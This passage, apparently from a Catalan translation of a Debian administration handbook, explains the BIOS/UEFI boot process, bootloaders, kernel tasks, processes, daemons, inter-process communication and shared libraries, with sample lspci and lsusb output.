Aquesta simbiosi entre maquinari i programari no es produeix per si sola. Quan l'ordinador s'engega per primera vegada es requereix una configuració inicial. Aquest rol és assumit per la BIOS o la UEFI, una peça de programari continguda a la placa mare que s'executa automàticament a l'engegada. La seva tasca principal és la cerca de programari al que pot passar el control. En general, tal com probablement heu après a Secció 9.1, «Engegada del sistema», en el cas de la BIOS, això implica buscar el primer disc dur amb un sector d'arrencada (també conegut com el master boot record, MBR, o “registre mestre d'arrencada”), carregar aquest sector d'arrencada i executar-lo. A partir de llavors, la BIOS normalment no resta implicada (fins a la següent arrencada). En el cas de la UEFI, el procés implica l'escaneig de discs per trobar una partició EFI dedicada que contingui més aplicacions EFI per executar.

EINA «Setup», l'eina de configuració de la BIOS/UEFI

La BIOS/UEFI també conté una peça de programari anomenada «Setup» o “configuració” dissenyada per permetre configurar aspectes de l'ordinador. En particular, permet triar quin dispositiu d'arrencada es prefereix (per exemple, podeu seleccionar un llapis USB o una unitat de CD-ROM en lloc del disc dur predeterminat), establir l'hora del sistema, etc. Accedir a la configuració normalment implica prémer una tecla molt poc després d'engegar l'ordinador. Aquesta tecla és sovint Del o Esc, de vegades F2, F5, F8 o F10. La major part de les vegades es mostra breument la tecla per pantalla mentre s'arrenca. Si no, el millor és consultar el manual de la placa mare o de l'ordinador.

El sector d'arrencada (o la partició EFI), al seu torn, conté una altra peça de programari, anomenada «bootloader» o “gestor d'arranc”, el propòsit del qual és trobar i executar un sistema operatiu. Com que aquest carregador d'arrencada no està incld a la placa mare sinó carregat des del disc, pot ser més “intel·ligent” que la BIOS, fet que explica per què la BIOS no carrega el sistema operatiu per si mateixa. Per exemple, el gestor d'arrencada (sovint GRUB en sistemes Linux) pot llistar els sistemes operatius disponibles i demanar a l'usuari que en triï un. Normalment es proporciona una opció predeterminada i un temps màxim per fer la tria. De vegades l'usuari també pot optar per afegir paràmetres per passar al nucli, i així successivament. Finalment, es troba un nucli, es carrega a memòria i s'executa.

NOTA UEFI, un reemplaçament modern per la BIOS

BIOS (que vol dir «Basic Input/Output System» o “sistema bàsic d'entrada/sortida”) és un programari que s'inclou a la placa base - la placa electrònic que connecta tots els perifèrics - i s'executa quan s'engega l'ordinador, per tal de carregar un sistema operatiu (a través d'un carregador adaptat). Es queda en segon pla per proporcionar una interfície entre el maquinari i el programari (en el nostre cas, el nucli Linux).

El 2005/2006, el seu successor, l'especificació UEFI («Unified Extensible Firmware Interface» o “interfície unificada i extensible de firmware”) fou publicada. Aquesta especificació defineix una interfície que té el mateix propòsit que la BIOS, però intenta proporcionar més usabilitat, extensibilitat i flexibilitat, una interfície gràfica d'usuari, i suport real de 64 bits. I es va desfer d'algunes de les limitacions de l'arrencada de la BIOS: amb l'ús d'una partició dedicada, els carregadors d'arrencada ja no necessiten trucs especials per adaptar-se a un petit «master boot record» i després descobrir el nucli per arrencar. Encara millor, amb un nucli Linux convenientment construït, UEFI pot arrencar directament el nucli sense cap carregador intermedi. UEFI és també la base bàsica utilitzada per proporcionar el «Secure Boot» o “engegada segura”, una tecnologia que garanteix que només executeu programari validat pel proveïdor del vostre sistema operatiu.

Avui en dia, la majoria dels ordinadors nous arrencaran en mode UEFI per defecte, però normalment també admeten l'arrencada BIOS juntament amb la compatibilitat cap enrere amb sistemes operatius que no estan preparats per usar UEFI. Això s'anomena el «Compatibility Support Mode/Module» (CSM). No obstant això, diversos fabricants han anunciat o bé deixar de donar suport al mode BIOS en la seva implementació UEFI, o bé ja ho han fet. No obstant això, aquesta transició no ha estat sense discussions ni crítiques.

La BIOS/UEFI també s'encarrega de detectar i inicialitzar diversos dispositius. Òbviament, això inclou els dispositius IDE/SATA (normalment discos durs) i unitats de CD/DVD-ROM), però també els dispositius PCI. Els dispositius detectats sovint es llisten a la pantalla durant el procés d'arrencada. Si aquesta llista passa massa ràpid, utilitzeu la tecla Pausa per congelar-la prou temps per llegir-ho. Els dispositius PCI instal·lats que no hi apareixen representa un mal auguri. En el pitjor dels casos, el dispositiu és defectuós. En el millor dels casos, és merament incompatible amb la versió actual de la BIOS o de la placa base. Les especificacions PCI evolucionen, i les plaques mare antigues no asseguren poder gestionar dispositius PCI més nous.

B.3.3. El nucli

Tant la BIOS/UEFI com el gestor d'arrencada només s'executen durant uns pocs segons cadascuna; ara estem arribant a la primera peça de programari que s'executa durant un temps més llarg, el nucli del sistema operatiu. Aquest nucli assumeix el paper de director en una orquestra, i assegura la coordinació entre maquinari i programari. Aquest rol inclou diverses tasques: administrar el maquinari, gestionar processos, usuaris i permisos, el sistema de fitxers, etc. El nucli proporciona una base comuna a tots els altres programes del sistema.

B.3.4. L'espai d'usuari

Malgrat que tot el que passa fora del nucli es pot agrupar sota l'"espai d'usuari", encara es pot separar en capes de programari. No obstant això, les seves interaccions són més complexes que abans, i les classificacions poden no ser tan simples. Una aplicació utilitza habitualment biblioteques, que al seu torn impliquen el nucli, però les comunicacions també poden implicar altres programes, o fins i tot diferents biblioteques que es criden entre si.

B.4. Algunes tasques gestionades pel nucli

B.4.1. Administració del maquinari

El nucli té, abans de res, la tasca de controlar les parts del maquinari, detectar-les, activar-les quan l'ordinador s'engegui, etc. També els posa a disposició de programari de nivell superior amb una interfície de programació simplificada, de manera que les aplicacions poden aprofitar els dispositius sense haver de preocupar-se per detalls com ara a quin connector s'ha endollat la targeta. La interfície de programació també proporciona una capa d'abstracció; això permet que el programari de videoconferència, per exemple, utilitzi una càmera web independentment del seu fabricant i model. El programari pot simplement utilitzar el Video for Linux (V4L), i el nucli tradueix les crides a funcions d'aquesta interfície a les ordres de maquinari reals necessàries per a la càmera web específica usada.

El nucli exporta molts detalls sobre el maquinari detectat a través dels sistemes de fitxers virtuals /proc/ i /sys/. Diverses eines resumeixen aquests detalls. Entre elles, lspci (al paquet pciutils) llista els dispositius PCI, lsusb (al paquet usbutils) llista els dispositius USB, i lspcmcia (al paquet pcmciautils) llista les targetes PCMCIA. Aquestes eines són molt útils per identificar el model exacte d'un dispositiu. Aquesta identificació també permet cerques més precises a la web, que al seu torn condueixen a documents més rellevants.

Exemple B.1. Exemple d'informació proporcionada per lspci i lsusb

$ lspci [...] 00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05) 00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05) 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04) 00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31) 00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31) [...] 02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32) 03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01) 03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12) 04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983 $ lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp. Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Aquests programes tenen una opció -v que llista informació molt més detallada (però normalment no necessària). Finalment, l'ordre lsdev (al paquet procinfo) llista els recursos de comunicació utilitzats pels dispositius.

Les aplicacions sovint accedeixen als dispositius mitjançant fitxers especials creats dins de /dev/ (vegeu la barra lateral TORNAR A LES BASES Permisos d'accés a dispositius). Aquests són fitxers especials que representen unitats de disc (per exemple, /dev/hda i /dev/sdc), particions (/dev/hda1 o /dev/sdc3), ratolins (/dev/input/mouse0), teclats (/dev/input/event0), targetes de so (/dev/snd/*), ports sèrie (/dev/ttyS*), etc.

B.4.2. Sistemes de fitxers

Els sistemes de fitxers són un dels aspectes més destacats del nucli. Els sistemes Unix fusionen tots els fitxers en una única jerarquia que permet als usuaris (i a les aplicacions) accedir a les dades simplement coneixent la seva ubicació dins d'aquesta jerarquia.

El punt de partida d'aquest arbre jeràrquic s'anomena arrel, /. Aquest directori pot contenir subdirectoris amb nom. Per exemple, el subdirectori home de / s'anomena /home/. Aquest subdirectori pot, al seu torn, contenir altres subdirectoris, etc. Cada directori també pot contenir fitxers, on s'emmagatzemaran les dades reals. Així, el nom /home/rmas/Desktop/hello.txt es refereix a un fitxer anomenat hello.txt emmagatzemat en el subdirectori Desktop del subdirectori rmas del subdirectori home present a l'arrel. El nucli tradueix entre aquest sistema de nomenclatura i l'emmagatzematge real, físic, en un disc.

A diferència d'altres sistemes, només hi ha una jerarquia d'aquest tipus, i pot integrar dades de diversos discs. Un d'aquests discos s'utilitza com a arrel, i els altres estan “muntats” en directoris de la jerarquia (l'ordre Unix s'anomena mount); aquests altres discs estan disponibles sota aquests “punts de muntatge” o «mount points». Això permet emmagatzemar directoris d'usuari (tradicionalment emmagatzemats spta de /home/) en un segon disc dur, que contindrà els directoris rhertzog i rmas. Un cop el disc està muntat a /home/, aquests directoris esdevenen accessibles en les seves ubicacions habituals, i rutes com ara /home/rmas/Desktop/hello.txt segueixen funcionant.

Hi ha molts formats de sistema de fitxers, corresponents a moltes maneres d'emmagatzemar físicament dades en discos. Els més coneguts són ext3 i ext4, però també n'hi ha d'altres. Per exemple, vfat és el sistema que històricament va ser utilitzat pels sistemes operatius DOS i Windows, que permet l'ús de discos durs sota Debian i sota Windows. En qualsevol cas, un sistema de fitxers s'ha de preparar en un disc abans de poder-lo muntar, i aquesta operació es coneix com a “formatació”. Ordres com ara mkfs.ext3 (on mkfs significa «MaKe FileSystem» o “crear sistema de fitxers”) gestionen la formatació. Aquestes ordres requereixen, com a paràmetre, un fitxer de dispositiu que representa la partició a formatar (per exemple, /dev/sda1). Aquesta operació és destructiva i només s'hauria d'executar una vegada, excepte si es vol deliberadament esborrar un sistema de fitxers i tornar a començar de nou.

També hi ha sistemes de fitxers de xarxa, com ara NFS, on les dades no s'emmagatzemen en un disc local. En lloc d'això, les dades es transmeten a través de la xarxa a un servidor que les emmagatzema i les recupera sota demanda. L'abstracció del sistema de fitxers evita als usuaris l'haver de preocupar-se: els fitxers romanen accessibles en l'habitual manera jeràrquica.

B.4.3. Funcions compartides

Com que cert número de les mateixes funcions són usades per tot el programari, té sentit centralitzar-les al nucli. Per exemple, la gestió compartida de sistemes de fitxers permet a qualsevol aplicació obrir un fitxer simplement pel nom, sense haver de preocupar-se on el fitxer s'emmagatzema físicament. El fitxer es pot emmagatzemar en diversos segments diferents d'un disc dur, o estar escampat en diversos discos durs, o fins i tot emmagatzemar-lo en un servidor de fitxers remot. Les funcions de comunicació compartides són utilitzades per les aplicacions per intercanviar dades independentment de la forma en què es transporten. Per exemple, el transport podria passar per qualsevol combinació de xarxes locals o sense fils, o per una línia telefònica.

B.4.4. Gestió de processos

Un procés és una instància en execució d'un programa. Això requereix memòria per emmagatzemar tant el programa com les seves dades operatives. El nucli és l'encarregat de crear-ho i gestionar-ho. Quan un programa s'executa, el nucli primer reserva una mica de memòria, després hi carrega el codi executable des del sistema de fitxers, i després comença l'execució del codi. Manté informació sobre aquest procés, la més visible del qual és un número d'identificació conegut com a pid (process identifier o “ identificador de procés”).

Els nuclis de tipus Unix (incloent-hi Linux), com la majoria dels altres sistemes operatius moderns, són capaços de fer "multitasca". En altres paraules, permeten executar molts processos “alhora”. De fet, només hi ha un procés en execució en qualsevol instant, però el nucli redueix el temps en petites porcions i executa cada procés per torns. Com que aquestes divisions de temps són molt breus (en el rang de mil·lisegons), creen la il·lusió de processos que s'executen en paral·lel, encara que en realitat només són actius durant alguns intervals de temps i inactius la resta del temps. El tasca del nucli és ajustar els seus mecanismes de programació per mantenir aquesta il·lusió, mentre maximitza el rendiment del sistema global. Si les divisions de temps són massa llargues, l'aplicació pot no semblar tan “responsiu” com es desitjaria. Però si són massa curtes, i el sistema perd massa temps per a canviar de tasca. Aquestes decisions es poden retocar amb les prioritats dels processos. Els processos d'alta prioritat s'executaran durant més temps i amb més freqüència que els processos de baixa prioritat.

NOTA Sistemes multiprocessador (i variants)

La limitació descrita anteriorment de què només es pot executar un procés a la vegada no sempre s'aplica. La restricció real és que només pot haver-hi un procés en execució per nucli («core») de processador al mateix temps. Els sistemes multiprocessador, multinucli o “hiperfil” («hyper-threaded») permeten que diversos processos s'executin en paral·lel. El mateix sistema de repartiment del temps encara s'utilitza, però, per tal de gestionar els casos on hi ha més processos actius que nuclis de processador disponibles. Això no és improbable: un sistema bàsic, fins i tot un que està pràcticamet inactiu, gairebé sempre té desenes de processos en execució.

Per descomptat, el nucli permet executar diverses instàncies independents del mateix programa. Però cada un només pot accedir a les seves pròpies divisions de temps i memòria. Així doncs, les dades romanen independents.

B.4.5. Gestió dels permisos

Els sistemes de tipus Unix també són multiusuari. Proporcionen un sistema de gestió dels permisos que suporta usuaris i grups separats; també permet el control sobre les accions basant-se en els permisos. El nucli gestiona les dades per a cada procés, fet que li permet controlar els permisos. La major part del temps, un procés és identificat per l'usuari que l'ha iniciat. Aquest procés només té permès dur a terme les accions que el seu propietari tingui disponibles. Per exemple, intentar obrir un fitxer requereix que el nucli comprovi la identitat del procés amb els permisos d'accés (per a més detalls sobre aquest exemple en particular, vegeu Secció 9.3, «Gestió de permisos»).

B.5. L'espai d'usuari

“Espai d'usuari” es refereix a l'entorn d'execució dels processos normals (en contraposició al nucli). Això no significa necessàriament que aquests processos siguin iniciats pels usuaris perquè un sistema estàndard normalment té diversos processos de “dimoni” (o de segon pla) que s'executen fins i tot abans que l'usuari obri una sessió. Els processos de dimoni també es consideren processos d'espai d'usuari.

B.5.1. Procés

Quan el nucli supera la fase d'inicialització, engega el primer procés, init. El procés #1 tot sol és rarament útil per si mateix, i els sistemes de tipus Unix s'executen amb molts processos addicionals.

En primer lloc, un procés pot clonar-se a si mateix (això es coneix com un «fork» o “bifurcació”). El nucli assigna un espai de memòria de procés nou (però idèntic) i un altre procés per utilitzar-lo. En aquest moment, l'única diferència entre aquests dos processos és el seu pid. El nou procés normalment s'anomena procés fill, i el procés original del qual el pid no canvia s'anomena procés pare.

De vegades, el procés fill continua portant la seva pròpia vida independentment del seu pare, amb les seves pròpies dades copiades del procés pare. En molts casos, però, aquest procés fill executa un altre programa. Amb algunes excepcions, la seva memòria és simplement substituïda per la del nou programa, i l'execució d'aquest nou programa comença. Aquest és el mecanisme utilitzat pel procés init (amb número de procés 1) per iniciar serveis addicionals i executar tota la seqüència d'inici. En algun moment, un procés entre la descendència de l'init' engega una interfície gràfica perquè usuaris puguin iniciar sessió (la seqüència real d'esdeveniments es descriu en més detalls a Secció 9.1, «Engegada del sistema»).

Quan un procés acaba la tasca per a la qual es va iniciar, finalitza. El nucli recupera la memòria assignada a aquest procés, i deixa de donar-li fragments de temps d'execució. El procés pare es informat que el seu procés fill ha acabat. fet que permet que un procés esperi la finalització d'una tasca que delega en un procés fill. Aquest comportament és clarament visible en els intèrprets de línia d'ordres (coneguts també com a «shells»). Quan una ordre s'escriu en un intèrpret d'ordres, l'indicador només reapareix quan s'ha acabat l'execució de l'ordre. La majoria dels «shells» permeten executar l'ordre en segon pla, és qüestió simplement d'afegir un & al final de l'ordre. L'indicador ara reapareix immediatament, fet que pot provocar problemes si l'ordre necessita mostrar les seves pròpies dades.

B.5.2. Dimonis

Un «daemon» o “dimoni” és un procés iniciat automàticament per la seqüència d'arrencada. Es manté funcionant (en segon pla) per realitzar tasques de manteniment o proporcionar serveis a altres processos. Aquesta “tasca en segon pla” és realment arbitrària, i no té res de particular des del punt de vista del sistema. Es tracta simplement de processos, bastant similars a altres processos, que s'executen per torns quan arriba el seu moment. La distinció només és en el llenguatge humà: un procés que s'executa sense interacció amb un usuari (en particular, sense cap interfície gràfica) es diu que s'està executant “en segon pla” o “com a dimoni”.

VOCABULARI «Daemon», «demon», un terme despectiu?

Tot i que el terme «daemon» comparteix la seva etimologia grega amb «demon», el primer no implica un mal diabòlic, sinó que s'ha d'entendre com una mena d'esperit col·laborador. Aquesta distinció és prou subtil en anglès; és encara pitjor en altres llengües on s'utilitza la mateixa paraula per a tots dos significats.

Alguns d'aquests dimonis es descriuen en detall a Capítol 9, Serveis Unix.

B.5.3. Comunicacions entre processos

Un procés aïllat, ja sigui un dimoni o una aplicació interactiva, rarament és útil per si sol, motiu pel qual hi ha diversos mètodes que permeten a processos separats comunicar-se entre si, ja sigui per intercanviar dades o per controlar-se. El terme genèric que fa referència a això és «inter-process communication» o “comunicació entre processos”, IPC per escurçar.

El sistema IPC més simple és utilitzar fitxers. El procés que vol enviar dades les escriu en un fitxer (amb un nom conegut per endavant), mentre que el destinatari només ha d'obrir el fitxer i llegir-ne el contingut.

En el cas que no es vulgui emmagatzemar dades al disc, es pot utilitzar una «pipe» o “canonada”, que és simplement un objecte amb dos extrems; els «bytes» escrits en un extrem es poden llegir per l'altre. Si els extrems estan controlats per processos separats, això condueix a un canal de comunicació simple i convenient entre processos. Les canonades es poden classificar en dues categories: amb nom i sense nom. Una canonada amb nom es representa amb una entrada al sistema de fitxers (encara que les dades transmeses no s'emmagatzemen allà), de manera que tots dos processos poden obrir-la independentment, si la ubicació de la canonada amb nom és coneguda per endavant. En els casos en què els processos de comunicació estan relacionats (per exemple, un procés pare i el seu procés fill), el procés pare també pot crear una canonada anònima abans de bifurcar-se, i el fill l'hereta. Tots dos processos seran capaços d'intercanviar dades a través de la canonada sense necessitat del sistema de fitxers.

A LA PRÀCTICA Un exemple concret

Descriurem amb cert detall què passa quan una ordre complexa (una canonada) s'executa des d'un intèrpret de comandes. Suposem que tenim un procés bash (que és l'intèrpret d'ordres estàndard pels usuaris a Debian), amb pid 4374; en aquest intèrpret, s'escriu l'ordre: ls | sort.

L'intèrpret de comandes primer interpreta l'ordre que s'ha escrit. En el nostre cas, s'entén que hi ha dos programes (ls i sort), amb un flux de dades que flueix de l'un a l'altre (denotat pel caràcter |, conegut com a canonada). bash primer crea una canonada sense nom (que inicialment només existeix dins del procés bash).

Llavors l'intèrpret de comandes es clona a si mateixa; això condueix a un nou procés bash, amb pid #4521 (els pids són nombres abstractes, i generalment no tenen cap significat particular). El procés #4521 hereta la canonada, el que significa que és capaç d'escriure pel seu costat d'“entrada”; bash redirigeix el seu flux de sortida estàndard a l'entrada d'aquesta canonada. Després executa (i es reemplaça per) el programa ls, que llista els continguts del directori actual. Atès que ls escriu sobre la seva sortida estàndard, i aquesta sortida s'ha redirigit prèviament, els resultats s'envien efectivament cap a la canonada.

Una operació similar passa per a la segona ordre: bash es clona de nou, portant a un nou procés bash amb el pid #4522. Com que també és un procés fill de #4374, també hereta la canonada; bash llavors connecta la seva entrada estàndard a la sortida de la canonada, després executa (i es reemplaça per) l'ordre sort, que ordena la seva entrada i mostra els resultats.

Totes les peces del trencaclosques ara estan configurades: ls llegeix el directori actual i escriu la llista de fitxers per la canonada; sort llegeix aquesta llista, l'ordena alfabèticament, i mostra els resultats. Els números número #4521 i #4522 acaben, i el número #4374 (que els estava esperant durant l'operació), reprèn el control i mostra l'indicador per permetre a l'usuari escriure una nova ordre.

No totes les comunicacions entre processos s'utilitzen per moure dades. En moltes situacions, l'única informació que s'ha de transmetre són missatges de control, com ara “aturar l'execució” o “reprendre l'execució”. Unix (i Linux) proporcionen un mecanisme conegut com a «senyals» o “senyals”, a través del qual un procés pot simplement enviar un senyal específic (escollit des d'una llista predefinida de senyals) a un altre procés. L'únic requisit és conèixer el pid del destinatari.

Per a comunicacions més complexes, també hi ha mecanismes que permeten a un procés obrir l'accés, o compartir, part de la seva memòria assignada a altres processos. La memòria un cop compartida entre ells es pot utilitzar per moure dades entre els processos.

Finalment, les connexions de xarxa també poden permetre als processos comunicar-se; aquests processos fins i tot poden estar funcionant en diferents ordinadors, possiblement a milers de quilòmetres de distància.

És bastant habitual que un típic sistema de tipus Unix faci ús de tots aquests mecanismes en diversos graus.

B.5.4. Biblioteques

Les biblioteques de funcions tenen un paper crucial en un sistema operatiu de tipus Unix. No són programes en si, ja que no es poden executar per si sols, sinó col·leccions de fragments de codi que poden ser utilitzats pels programes estàndard. Entre les biblioteques comunes podeu trobar:

la biblioteca C estàndard (glibc), que conté funcions bàsiques com ara obrir fitxers o connexions de xarxa, i d'altres que faciliten interaccions amb el nucli;

conjunts d'eines gràfiques, com ara Gtk+ i Qt, que permeten a molts programes reutilitzar els objectes gràfics que proporcionen;

la biblioteca libpng, que permet carregar, interpretar i desar imatges en el format PNG.

Gràcies a aquestes biblioteques, les aplicacions poden reutilitzar codi existent. El desenvolupament de l'aplicació se simplifica, ja que moltes aplicacions poden reutilitzar les mateixes funcions. Amb les biblioteques sovint desenvolupades per diferents persones, el desenvolupament global del sistema és més proper a la filosofia històrica de Unix.

CULTURA L'estil Unix: una cosa a la vegada

Un dels conceptes fonamentals subjacent a la família de sistemes operatius Unix és que cada eina només hauria de fer una cosa, i fer-la bé; les aplicacions poden reutilitzar aquestes eines per construir una lògica més avançada a sobre. Aquesta filosofia es pot veure en moltes encarnacions. Els scripts d'intèrpret de comandes poden ser el millor exemple: agrupen seqüències complexes d'eines molt senzilles (com ara grep, wc, sort, uniq, etc). Una altra implementació d'aquesta filosofia es pot veure a les biblioteques de codi: la biblioteca libpng permet llegir i escriure imatges PNG, amb diferents opcions i de diferents maneres, però només fa això; sense la intenció d'incloure funcions que mostrin o editin imatges.

A més a més, aquestes biblioteques sovint es coneixen com a “biblioteques compartides”, ja que el nucli només pot carregar-les a memòria una vegada, fins i tot si diversos processos utilitzen la mateixa biblioteca al mateix temps. Això permet estalviar memòria, en comparació amb la situació oposada (hipotètica) on el codi d'una biblioteca es carregaria tantes vegades com processos hi hagi que l'utilitzin.